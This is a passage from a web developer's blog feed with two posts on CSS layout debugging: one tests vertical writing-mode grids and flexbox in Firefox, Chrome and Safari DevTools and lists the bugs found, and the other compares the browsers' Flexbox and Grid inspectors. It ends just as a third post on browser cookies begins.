</content:encoded></item><item><title>Debugging vertical layouts in 2021</title><link>https://chenhuijing.com/blog/debugging-vertical-layouts-in-2021/</link><guid isPermaLink="true">https://chenhuijing.com/blog/debugging-vertical-layouts-in-2021/</guid><description>This blog has been around for more than 7 years. Where has the time gone? I first started messing around with vertical layouts after discovering the existence…</description><pubDate>Sat, 08 May 2021 05:53:22 GMT</pubDate><content:encoded>&lt;p&gt;This blog has been around for more than 7 years. Where has the time gone? I first started messing around with vertical layouts after discovering the existence of &lt;code&gt;writing-mode&lt;/code&gt;. It was a “cannot unsee” life event that happened around 5 years ago?&lt;/p&gt;
&lt;p&gt;CSS had seen a number of milestones in the last 5 years, and we are so much better equipped to build layouts today. When I take a moment to look back, I find myself appreciating all the work done to push CSS forward even more. With the DevTools updates that came out last month, I&apos;ve decided to revisit my favourite demo once again: &lt;a href=&quot;https://huijing.github.io/demos/grids-vertical/&quot;&gt;CSS grid in vertical writing mode&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Feel free to try it out with whichever DevTools you have on hand (I understand that not everyone has 9 browsers installed on their machine).&lt;/p&gt;
&lt;p&gt;This was the second iteration of a vertical writing demo that used CSS grid for layout. In 2016, I did &lt;strong&gt;not&lt;/strong&gt; use Grid for this because DevTools was kinda broken when &lt;code&gt;writing-mode&lt;/code&gt; was set to &lt;code&gt;vertical-rl&lt;/code&gt;. And trying to debug using just my imagination gave me a headache.&lt;/p&gt;
&lt;p&gt;Considering the scale of the web, I think use of vertical writing is still fairly tiny, and perhaps that may be why bugs related to vertical writing tend to exist. Time for a quick test of debugging vertical layouts with 2021 DevTools.&lt;/p&gt;
&lt;h2&gt;Firefox Devtools&lt;/h2&gt;
&lt;p&gt;Even before doing any verification, I was fairly confident Firefox Devtools would perform admirably for the Grid test. I say this because I had checked when the team fixed all the related bugs for this issue:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1303171&quot;&gt;Support RTL and Vertical Writing Modes in the Grid Inspector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1430916&quot;&gt;Rotate grid line numbers when writing modes / RTL are used&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1430918&quot;&gt;Rotate grid outline in Layout panel when writing modes / RTL are used&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1430919&quot;&gt;Enable writing mode / RTL support for Grid Inspector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So unless the team introduced some regression bugs, I would expect no issues at all.&lt;/p&gt;
&lt;p&gt;Moment of truth!&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-vertical/dt-ffgrid-480.png 480w, /images/posts/grid-vertical/dt-ffgrid-640.png 640w, /images/posts/grid-vertical/dt-ffgrid-960.png 960w, /images/posts/grid-vertical/dt-ffgrid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/dt-ffgrid-640.png&quot; alt=&quot;Firefox Grid inspector overlay on a vertical layout&quot;&gt;
&lt;p&gt;Beautiful. The overlay doesn&apos;t affect scrolling at all, the line numbers are labelled correctly. Just the way I expected things to work. Certified fresh!&lt;/p&gt;
&lt;p&gt;As for the Flexbox inspector, there aren&apos;t that many moving parts that could break due to bugs. The calculations are most probably taken from the actual browser calculations so as long as the browser is sizing the flex items correctly, the layout tool will report the correct size as well.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-vertical/dt-ff-flex-480.png 480w, /images/posts/grid-vertical/dt-ff-flex-640.png 640w, /images/posts/grid-vertical/dt-ff-flex-960.png 960w, /images/posts/grid-vertical/dt-ff-flex-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/dt-ff-flex-640.png&quot; alt=&quot;Firefox Flex inspector overlay on a vertical layout&quot;&gt;
&lt;p&gt;I guess if I wanted to nitpick this, it would be nice if the shape of the flex item rectangle looks similar to that of the rendered flex item. Or maybe a direction indicator might be nice to have. That being said, I&apos;m fine with the current Flexbox inspector as it is.&lt;/p&gt;
&lt;p&gt;Also, not directly related to Devtools but CSS logical properties is the total hotness, my friends! Specifically, logical properties for sizing. I should probably do a dedicated post on why logical properties are a godsend for layouts that are not in the default left-to-right, top-to-bottom flow.&lt;/p&gt;
&lt;h2&gt;Chrome Devtools&lt;/h2&gt;
&lt;p&gt;Honestly, I didn&apos;t expect it to work as well in Chrome, because even when Firefox first released its Grid inspector, support for vertical and RTL layouts wasn&apos;t great. So given that Chrome only released their enhanced Grid inspector late last year, I expected some buggy behaviour.&lt;/p&gt;
&lt;p&gt;Okay, let&apos;s give it a shot.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hmmm, something is a little bit off here…&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-chrome-bug.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-chrome-bug.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Scrolling with the overlay active was a little janky, and the overlay lines are off-kilter. Again, this is not unexpected. And when I checked the Chromium bug tracker, lo and behold, someone already filed the issue: &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1203251&amp;amp;q=devtools%20grid&amp;amp;can=2&quot;&gt;Issue 1203251: Grid overlay is misplaced for CSS grids with a vertical writing mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please do me a favour and star this issue! It&apos;s not a guarantee that this will make the bug get fixed immediately, but it is a signal that folks care about this working correctly.&lt;/p&gt;
&lt;p&gt;Time to give Chrome&apos;s new Flexbox inspector a spin as well. The overlay looked fine, so nothing much to say there. I was very fond of the Alignment tool and for the most part, it seemed to work okay. But as I was messing around, I found a pretty obscure “blink-and-you-might-miss-it” bug.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Wait a minute… did my text just get left behind?&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-chrome-flex-bug.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-chrome-flex-bug.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;I did log a bug on the Chromium bug tracker, if anyone is interested. &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1206903&quot;&gt;Issue 1206903: Alignment tool causes incorrect rendering for vertical layout&lt;/a&gt;. I think my issue is related to this one: &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1120156&quot;&gt;Issue 1120156: CSS Grid &lt;code&gt;align-items: end;&lt;/code&gt; with vertical &lt;code&gt;writing-mode&lt;/code&gt; doesn&apos;t work properly in a Flexbox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And in the process to trying to document the bug properly, I found another weird behaviour for Flex items in a &lt;code&gt;vertical-rl&lt;/code&gt; environment in Chrome (or Chromium, since Edge has this issue as well).&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hey, why is my text lagging?&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/chrome-flex-bug.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/chrome-flex-bug.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;If I were to describe this in words, it would be, when the document is in &lt;code&gt;vertical-rl&lt;/code&gt; mode, content within a flex item does not respond to viewport resizing on the x-axis.&lt;/p&gt;
&lt;p&gt;I wonder if all these issues are somehow related. But I also raised a separate issue to document my specific use-case. &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=1206914&quot;&gt;Issue 1206914: Content within flex item renders incorrectly when writing-mode is vertical-rl&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Safari Devtools&lt;/h2&gt;
&lt;p&gt;Safari&apos;s Grid inspector in Devtools is even newer than Chrome&apos;s, and technically haven&apos;t been released yet, since it is only in Safari Technology Preview at the moment. I suppose this is the best time to test it out.&lt;/p&gt;
&lt;p&gt;Let&apos;s see how this goes:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-vertical/dt-webkit-bug-480.png 480w, /images/posts/grid-vertical/dt-webkit-bug-640.png 640w, /images/posts/grid-vertical/dt-webkit-bug-960.png 960w, /images/posts/grid-vertical/dt-webkit-bug-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/dt-webkit-bug-640.png&quot; alt=&quot;Safari TP 123 Grid inspector overlay on a vertical layout&quot;&gt;
&lt;p&gt;Okay, something is a little off at the moment. Scrolling performance with the overlays active was fine, but the line numbers do not respect the writing-mode direction, and the overlay wasn&apos;t accurately positioned over the grid element either.&lt;/p&gt;
&lt;p&gt;But I went over to &lt;a href=&quot;https://bugs.webkit.org/&quot;&gt;Webkit&apos;s bug tracker&lt;/a&gt; and found: &lt;a href=&quot;https://bugs.webkit.org/show_bug.cgi?id=224051&quot;&gt;Bug 224051 - Web Inspector: Grid overlay does not honor writing modes and RTL layout direction&lt;/a&gt;. It appears that the issue had been flagged and fixed, so I&apos;m guessing the next Safari Technology Preview release would contain this fix. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;rocket&quot;&gt;🚀&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update!&lt;/em&gt;&lt;br&gt;
&lt;em&gt;The bug has been fixed and resolved in Safari 124. Updating here because I just got the version bump. What a difference a day makes &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-vertical/dt-safari-fix-480.png 480w, /images/posts/grid-vertical/dt-safari-fix-640.png 640w, /images/posts/grid-vertical/dt-safari-fix-960.png 960w, /images/posts/grid-vertical/dt-safari-fix-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/dt-safari-fix-640.png&quot; alt=&quot;Safari TP 124 Grid inspector overlay on a vertical layout&quot;&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Hokay, it&apos;s time to wrap up “Hui Jing breaks things yet again” segment. I want to say thank you to all the browser engineers who are busy fixing all these bugs and working hard to make the web a better experience for all of us. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person bowing&quot;&gt;🙇‍♀️&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.instagram.com/p/B9iEXx6hJzh/&quot;&gt;alto0908 on Instagram&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>DevTools for CSS layouts 2021 edition</title><link>https://chenhuijing.com/blog/devtools-for-css-layouts-2021-edition/</link><guid isPermaLink="true">https://chenhuijing.com/blog/devtools-for-css-layouts-2021-edition/</guid><description>As someone who loves and works with CSS on an almost daily basis, DevTools are something near and dear to my heart. Recently, I&apos;ve been seeing updates from…</description><pubDate>Fri, 23 Apr 2021 05:53:22 GMT</pubDate><content:encoded>&lt;p&gt;As someone who loves and works with CSS on an almost daily basis, DevTools are something near and dear to my heart. Recently, I&apos;ve been seeing updates from both the Webkit and Chrome team about updates to layout-related DevTools features and thought it&apos;d be nice to do a write-up about them.&lt;/p&gt;
&lt;p&gt;Even though I&apos;ve never gotten a job at any of the browser companies before, I have been incredibly lucky to have had numerous opportunities to meet and chat with folks from Mozilla, Google and Apple. And they have been really generous with their time and knowledge.&lt;/p&gt;
&lt;p&gt;I&apos;m personally convinced that DevTools can be more than just a debugging tool, it can potentially be a source of guidance right in our browsers. And with the way things are going, I think this might be becoming a thing.&lt;/p&gt;
&lt;p&gt;I have spoken about DevTools for CSS at a couple of conferences and had always used Firefox for them because it had the most features for CSS layouts since 2019. They came out with the Flexbox inspector in Firefox 65, in January 2019. And now, more than 2 years later, Chrome is adding that feature to its DevTools as well.&lt;/p&gt;
&lt;p&gt;Firefox&apos;s grid inspector was pretty full-featured from the get-to and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/52&quot;&gt;released together with CSS grid in Firefox 52&lt;/a&gt;. It was constantly improved upon since. Chrome added a &lt;a href=&quot;https://developer.chrome.com/blog/new-in-devtools-62/#css-grid-highlighting&quot;&gt;basic grid inspector tool in Chrome 62&lt;/a&gt; that let developers highlight elements using grid layout, but more robust features were &lt;a href=&quot;https://developer.chrome.com/blog/new-in-devtools-87/#css-grid&quot;&gt;only added in Chrome 87&lt;/a&gt;. And now, Webkit has joined the party, as Safari Technology Preview 123 &lt;a href=&quot;https://webkit.org/blog/11588/introducing-css-grid-inspector/&quot;&gt;adds Grid inspecting features&lt;/a&gt; as well.&lt;/p&gt;
&lt;p&gt;Okay, enough history. More story in &lt;a href=&quot;https://www.smashingmagazine.com/2017/12/grid-inspector/&quot;&gt;this Smashing Magazine article&lt;/a&gt;, if you&apos;re interested. Now, it&apos;s time for what we have on hand in 2021.&lt;/p&gt;
&lt;h2&gt;Flexbox inspector&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Firefox 65 and later (January 29, 2019)&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Chrome 90 and later (April 14, 2021)&lt;/em&gt;&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;mdn-css__properties__flex&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;true&quot;&gt;Data on support for the mdn-css__properties__flex feature across the major browsers&lt;/p&gt;
&lt;p&gt;Flexbox is a feature that has been around for a long time now, but can still be confusing to wrap your head around. I admit I too have made a joke about that on stage but it was to highlight the importance of having a Flexbox inspector in DevTools.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;“Flexbox, where nobody knows the exact size of anything”&lt;br&gt;&lt;br&gt;Flexbox explained by &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; 👌😅 &lt;a href=&quot;https://twitter.com/hashtag/ViewSourceConf?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#ViewSourceConf&lt;/a&gt; &lt;a href=&quot;https://t.co/2zE7ay6VSa&quot;&gt;pic.twitter.com/2zE7ay6VSa&lt;/a&gt;&lt;/p&gt;&amp;mdash; Milica Mihajlija (@bibydigital) &lt;a href=&quot;https://twitter.com/bibydigital/status/1179009183972302848?ref_src=twsrc%5Etfw&quot;&gt;October 1, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;h3&gt;Firefox Flexbox inspector&lt;/h3&gt;
&lt;p&gt;In Firefox, you can toggle the Flexbox overlay by clicking on the &lt;em&gt;flex&lt;/em&gt; tag in the Inspector, clicking the little 2-box icon next to the display value of &lt;code&gt;flex&lt;/code&gt; in the &lt;em&gt;Rules&lt;/em&gt; panel or directly from the &lt;em&gt;Layout&lt;/em&gt; panel. The panel will also show you the flex direction and wrap status on the Flex container.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/firefox-highlight-480.png 480w, /images/posts/devtools-2021/firefox-highlight-640.png 640w, /images/posts/devtools-2021/firefox-highlight-960.png 960w, /images/posts/devtools-2021/firefox-highlight-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/firefox-highlight-640.png&quot; alt=&quot;Firefox&apos;s Flexbox inspector showing the dimensions of a flex item&quot;&gt;
&lt;p&gt;The information about Flex items is my favourite feature of this tool, which shows up when you click on any of the Flex items in the &lt;em&gt;Layout&lt;/em&gt; panel. It shows you the starting width from which the browser figures out the size of your flex item, then the subsequent calculations that give you the end size.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/firefox-size-480.png 480w, /images/posts/devtools-2021/firefox-size-640.png 640w, /images/posts/devtools-2021/firefox-size-960.png 960w, /images/posts/devtools-2021/firefox-size-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/firefox-size-640.png&quot; alt=&quot;Firefox&apos;s Flexbox inspector showing the calculations of a flex item&apos;s final size&quot;&gt;
&lt;h3&gt;Chrome Flexbox inspector&lt;/h3&gt;
&lt;p&gt;If you already have Chrome 90 (which was stable release as of 14 April 2021), you should be able to see a &lt;em&gt;flex&lt;/em&gt; tag in the Inspector on elements which are Flex containers. Clicking that would toggle a Flexbox overlay, and multiple overlays can be active at the same time. You can also do this toggling in the Layout panel.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/chrome-flex-480.png 480w, /images/posts/devtools-2021/chrome-flex-640.png 640w, /images/posts/devtools-2021/chrome-flex-960.png 960w, /images/posts/devtools-2021/chrome-flex-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/chrome-flex-640.png&quot; alt=&quot;Chrome&apos;s Flexbox inspector showing an overlay on a Flex container&quot;&gt;
&lt;p&gt;If you&apos;re in the &lt;em&gt;Styles&lt;/em&gt; panel, where all the CSS rules are listed, you should see an icon that looks like a 六索 mahjong tile to my Chinese brain. Chrome made a UX design choice to put the flex information like direction and wrap in a pop-up when you click the icon.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/chrome-align-480.png 480w, /images/posts/devtools-2021/chrome-align-640.png 640w, /images/posts/devtools-2021/chrome-align-960.png 960w, /images/posts/devtools-2021/chrome-align-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/chrome-align-640.png&quot; alt=&quot;Chrome&apos;s Flexbox inspector displaying all flex-related and alignment options&quot;&gt;
&lt;p&gt;But that&apos;s not all, you can switch up the different alignment properties from this interface directly. And here&apos;s where I think that as people use this feature more and more, they are sort of teaching themselves these alignment properties, and of course, being able to see what happens on the page as they toggle through the different values also helps.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Toggle different alignment values&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt21-chrome.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt21-chrome.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;As you can see, there are feature differences between the 2 browsers, but don&apos;t we all have multiple browsers installed on our machines when we&apos;re working in this industry? &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Grid inspector&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Firefox 52 and later (March 7, 2017)&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Chrome 62 and later (October 17, 2017)&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Safari Technology Preview 123 and later (March 31, 2021)&lt;/em&gt;&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;mdn-css__properties__grid&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;true&quot;&gt;Data on support for the mdn-css__properties__grid feature across the major browsers&lt;/p&gt;
&lt;p&gt;To me, the release of CSS grid will always be a milestone and game-changer for the world of web design. But with it came an unavoidable mindset shift when it came to thinking and designing layouts for the web. Grid is also a fairly meaty module with numerous properties and it&apos;s totally normal for folks to feel intimidated at first.&lt;/p&gt;
&lt;h3&gt;Firefox Grid inspector&lt;/h3&gt;
&lt;p&gt;I think Firefox made the absolute right call when they shipped a solid suite of Grid tools together with CSS support at the same time, because it made the on-boarding process of using Grid so much smoother.&lt;/p&gt;
&lt;p&gt;Like the Flexbox overlay, the Grid overlay can be toggled either from the &lt;em&gt;grid&lt;/em&gt; tag in the Inspector, clicking the little waffle-like icon next to the display value of &lt;code&gt;grid&lt;/code&gt; in the &lt;em&gt;Rules&lt;/em&gt; panel, or directly from the &lt;em&gt;Layout&lt;/em&gt; panel.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/firefox-grid-480.png 480w, /images/posts/devtools-2021/firefox-grid-640.png 640w, /images/posts/devtools-2021/firefox-grid-960.png 960w, /images/posts/devtools-2021/firefox-grid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/firefox-grid-640.png&quot; alt=&quot;Firefox&apos;s Grid inspector showing overlays for 2 grids&quot;&gt;
&lt;p&gt;The Firefox Grid inspector had the ability to display line names, line numbers and area names from the start. They gradually added the ability to toggle the overlay for multiple grids, and some UX fixes for labels at the edge of the viewport.&lt;/p&gt;
&lt;p&gt;Firefox also displays the sizing of grid items via a slightly different UX from Chrome and Safari (as you will see in the later sections). In the &lt;em&gt;Layout&lt;/em&gt; panel, there is a miniature grid of what is being highlighted on the page, and hovering over each grid cell will show you it&apos;s sizing, as well as the size of the grid area, if the cell is a part of one.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/firefox-width-480.png 480w, /images/posts/devtools-2021/firefox-width-640.png 640w, /images/posts/devtools-2021/firefox-width-960.png 960w, /images/posts/devtools-2021/firefox-width-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/firefox-width-640.png&quot; alt=&quot;Firefox&apos;s Grid inspector showing the dimensions of a grid item&quot;&gt;
&lt;p&gt;What&apos;s nice about Firefox DevTools is that they ship the corresponding DevTools feature with the CSS feature being rolled out, for example, the animating of grid rows and columns. So you can see what exactly is being animated. And I must say, the rendering of overlays and labels seems smoother on Firefox for now.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Animation of grid rows and columns&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt21-animate.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt21-animate.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Speaking of features that are currently only supported in Firefox, we have to mention CSS Grid Level 2, which specifies Subgrid.&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;css-subgrid&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;true&quot;&gt;&lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://caniuse.bitsofco.de/image/css-subgrid.webp&quot;&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;https://caniuse.bitsofco.de/image/css-subgrid.png&quot;&gt;&lt;img src=&quot;https://caniuse.bitsofco.de/image/css-subgrid.jpg&quot; alt=&quot;Data on support for the css-subgrid feature across the major browsers from caniuse.com&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Subgrid is currently only supported in Firefox, which had it since Firefox 71 (released December 3, 2019). The necessary support for subgrid in DevTools was also rolled out at the same time.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/subgrid-480.png 480w, /images/posts/devtools-2021/subgrid-640.png 640w, /images/posts/devtools-2021/subgrid-960.png 960w, /images/posts/devtools-2021/subgrid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/subgrid-640.png&quot; alt=&quot;Firefox&apos;s Grid inspector showing the overlay and labels for a grid with 2 nested subgrids&quot;&gt;
&lt;p&gt;Having DevTools show you how the browser is interpreting grid lines is really helpful for understanding how subgrid works. Because the line numbers for each subgrid start from 1, even if they are in some other position on the parent grid. Margins, paddings and borders for nested subgrids are also easier to understand if you can visually see them on the overlay.&lt;/p&gt;
&lt;h3&gt;Chrome Grid inspector&lt;/h3&gt;
&lt;p&gt;I was pretty pleased when Chrome 87 rolled around in November last year (2020, for folks who are somehow reading this years later). Because they shipped features to their Grid inspector tool that brought it on par with Firefox&apos;s.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/chrome-grid-480.png 480w, /images/posts/devtools-2021/chrome-grid-640.png 640w, /images/posts/devtools-2021/chrome-grid-960.png 960w, /images/posts/devtools-2021/chrome-grid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/chrome-grid-640.png&quot; alt=&quot;Chrome&apos;s Grid inspector&apos;s interface in DevTools&quot;&gt;
&lt;p&gt;Chrome DevTools also added a &lt;em&gt;Layout&lt;/em&gt; pane with options to toggle line numbers, names, grid area names and extend grid lines. The ability to display overlays for multiple grids at once and change their colour is also available now. Displaying the sizing of grid cells on the overlay directly has its pros and cons, because if the grid cell is small, the label gets cut off.&lt;/p&gt;
&lt;p&gt;But overall, it&apos;s a good thing that Chrome DevTools has much better support for Grid now and I hope all DevTools teams continue to iterate on them. As an aside, because Edge is now powered by Chromium, it too has the same Grid DevTools support now.&lt;/p&gt;
&lt;h3&gt;Safari Grid inspector&lt;/h3&gt;
&lt;p&gt;Again, immense joy when I saw the release notes for Safari Technology Preview 123 that announced &lt;a href=&quot;https://webkit.org/blog/11588/introducing-css-grid-inspector/&quot;&gt;Grid support in their DevTools&lt;/a&gt;. The way the Webkit team does things is that as long as a feature is released in Technology Preview, it will 100% make it into the next Safari stable release.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have Safari Technology Preview installed, you&apos;re really missing out because the Webkit team has consistently been putting out cutting edge CSS features in Safari TP. It&apos;s really THE browser for CSS early adopters, IMHO.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devtools-2021/safari-grid-480.png 480w, /images/posts/devtools-2021/safari-grid-640.png 640w, /images/posts/devtools-2021/safari-grid-960.png 960w, /images/posts/devtools-2021/safari-grid-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-2021/safari-grid-640.png&quot; alt=&quot;Safari&apos;s Grid inspector&apos;s interface in DevTools&quot;&gt;
&lt;p&gt;This new update adds a &lt;em&gt;Layout&lt;/em&gt; panel and you can trigger the Grid overlays by clicking the &lt;em&gt;grid&lt;/em&gt; tag on Grid containers from the &lt;em&gt;Elements&lt;/em&gt; pane. The interface is straightforward, with checkboxes that let you toggle the various grid-related labels. Multiple grid overlays are also supported here.&lt;/p&gt;
&lt;p&gt;With folks like &lt;a href=&quot;https://jensimmons.com&quot;&gt;Jen Simmons&lt;/a&gt; and &lt;a href=&quot;http://razvancaliman.com&quot;&gt;Razvan Caliman&lt;/a&gt; (who have done tremendous work on DevTools for layouts) now with the Webkit team, I&apos;m looking forward to even more DevTools enhancements in future shipping in Safari.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;It&apos;s taken a little while, but browsers are really iterating on each other&apos;s useful features, which is all the better for web developers and designers like you and I. I&apos;m looking forward even more exciting advances in the world of CSS this year, because I don&apos;t have much else to look forward to anywayz.&lt;/p&gt;
&lt;p&gt;Meanwhile, wash your hands and mask up always &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with medical mask&quot;&gt;😷&lt;/span&gt;. Stay safe, everyone!&lt;/p&gt;
</content:encoded></item><item><title>Understanding browser cookies 🍪</title><link>https://chenhuijing.com/blog/understanding-browser-cookies/</link><guid isPermaLink="true">https://chenhuijing.com/blog/understanding-browser-cookies/</guid><description>Even though I&apos;ve been doing web things for a while now, I confess I had never dealt with browser cookies other than clicking those cookie notifications on…</description><pubDate>Mon, 05 Apr 2021 12:31:04 GMT</pubDate><content:encoded>&lt;p&gt;Even though I&apos;ve been doing web things for a while now, I confess I had never dealt with browser cookies other than clicking those cookie notifications on every other website you visit these days.&lt;/p&gt;
